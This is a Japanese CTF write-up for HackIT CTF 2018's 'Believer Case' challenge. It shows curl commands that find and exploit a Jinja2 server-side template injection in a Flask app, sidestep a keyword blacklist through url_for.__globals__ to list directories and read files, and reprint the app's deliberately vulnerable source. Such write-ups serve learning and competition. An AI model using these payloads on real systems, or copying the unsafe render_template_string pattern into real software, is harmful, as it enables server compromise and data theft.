HackIT CTF 2018 - Believer Case
問題文
We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you? http://185.168.131.123
writeup
トップのHTMLソースは以下の通り。
root@kali:~# curl http://185.168.131.123 Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>
/test
にアクセスすると、test
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/test test
/testhoge
にアクセスすると、testhoge
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/testhoge testhoge
入力した文字列がレスポンスにそのまま反映されるようだ。
Template Engineを使用している可能性があるため、Template Injectionを試す。
root@kali:~# curl "http://185.168.131.123/\{\{7+7\}\}" 77 root@kali:~# curl "http://185.168.131.123/\{\{7*7\}\}" 49
ビンゴ。いけそうだ。
flask+jinja2と仮定し、グローバル変数を表示させてみる。
以下のflaskのコードのrv.globals.update
に格納されている変数が、テンプレート内で使用できるグローバル変数。
request
変数を確認するとエラー。
root@kali:~# curl "http://185.168.131.123/\{\{request\}\}" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
g
変数を確認すると成功。そしてflaskを使用している確証を得る。
root@kali:~# curl "http://185.168.131.123/\{\{g\}\}" <flask.g of 'app'>
何かフィルターされているのかもしれない。試してみる。
root@kali:~# curl "http://185.168.131.123/\{%25print(request)%25\}" () root@kali:~# curl "http://185.168.131.123/\{%25print('aaa' + request + 'zzz')%25\}" aaazzz
どうやら"request"という文字列が除去されているようだ。
他、いくつか試すと、少なくとも以下の文字列が除去の対象となっている。 ブラケットは痛い。
- [
- ]
- open
- config
- request
- attr
- class
ここで、先週開催のTokyoWesternsCTFのflask+Jinja2の問題の解法tweetを思い出した。
神社の想定解: url_for.__globals__['current_app'].config.FLAG
— icchy (@icchyr) 2018年9月3日
とりあえず先に問題だけ作ってからflask, werkzurgのソースコードとにらめっこして解いたという背景があります
試してみる。
root@kali:~# curl "http://185.168.131.123/\{\{url_for\}\}" <function url_for at 0x7fde0c3b7a28>r
ビンゴ!
タイムリーすぎて、
「あっ、これ進●ゼミでやったところだ!」という気持ちになる。
url_for
から辿って__globals__
にアクセスできたため、そこからosモジュールおよびビルトインモジュールにアクセスする。[]
が使用できないため、__getitem__
で代替する。
カレントディレクトリ内にフラグファイルを発見する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('os').listdir('./')\}\}" ['app.py', 'flag_secret_file_910230912900891283']r
フラグファイルを表示する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('__builtins__').__getitem__('open')('flag_secret_file_910230912900891283').read()\}\}" flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
フラグゲット。
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
補足
何のワードが除去されていたか確認するため、app.py
も見てみた。
from flask import Flask, render_template, render_template_string app = Flask(__name__) def blacklist_replace(template): blacklist = ["[","]","config","self","from_pyfile","|","join","mro","class","request","pop","attr","args","+"] for b in blacklist: if b in template: template=template.replace(b,"") return template @app.route("/") def index_template(): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>" @app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long" while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug=False)